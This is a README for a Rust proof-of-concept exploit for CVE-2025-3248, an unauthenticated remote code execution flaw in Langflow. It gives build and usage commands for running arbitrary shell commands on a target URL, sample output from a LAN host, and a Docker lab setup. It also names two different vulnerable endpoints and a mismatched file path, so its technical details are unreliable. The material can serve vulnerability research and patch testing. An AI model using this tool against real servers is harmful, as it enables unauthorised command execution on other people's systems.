
Rust-based proof-of-concept exploit for CVE-2025-3248, a critical unauthenticated RCE in Langflow via /api/v1/validate/code, allowing arbitrary command execution.
⚠️ Disclaimer
This code is strictly intended for educational and research purposes only. Unauthorized use on systems without explicit permission may constitute a violation of the law.
The author is not responsible for any misuse or malicious activity involving this tool.
CVE-2025-3248 - Critical
CVSS Score: 9.8 | EPSS Score: 92.57% | Published: May 22, 2025
The endpoint /api/v1/validate/code accepts unsanitized Python code and executes it directly with exec(), requiring no authentication.
# langflow/api/builder/execute.py
exec(code) # No input validation or sandboxing!
Langflow exposes a /api/v1/builder/execute_code endpoint that takes user-supplied Python code and passes it directly to exec() on the backend. Since there's no authentication or sandboxing, attackers can craft arbitrary payloads for code execution.
# Clone repository
git clone <repo-url>
cd CVE-2025-3248-POC
cargo build --release
# ./target/release/CVE-2025-3248-POC
./CVE-2025-3248-POC --url <BASE_URL> --command "<COMMAND>"
❯ ./target/release/CVE-2025-3248-POC --url 'http://192.168.159.137:7860' --command 'id'
[+] Langflow RCE Exploit - CVE-2025-3248
[+] url :http://192.168.159.137:7860,
[+] Command: id
Status: 200 OK
uid=1000(user) gid=0(root) groups=0(root)
> cd lab
> sudo docker-compose up -d
> ./target/release/CVE-2025-3248-POC --url 'http://localhost:7860' --command 'whoami'
> sudo docker-compose down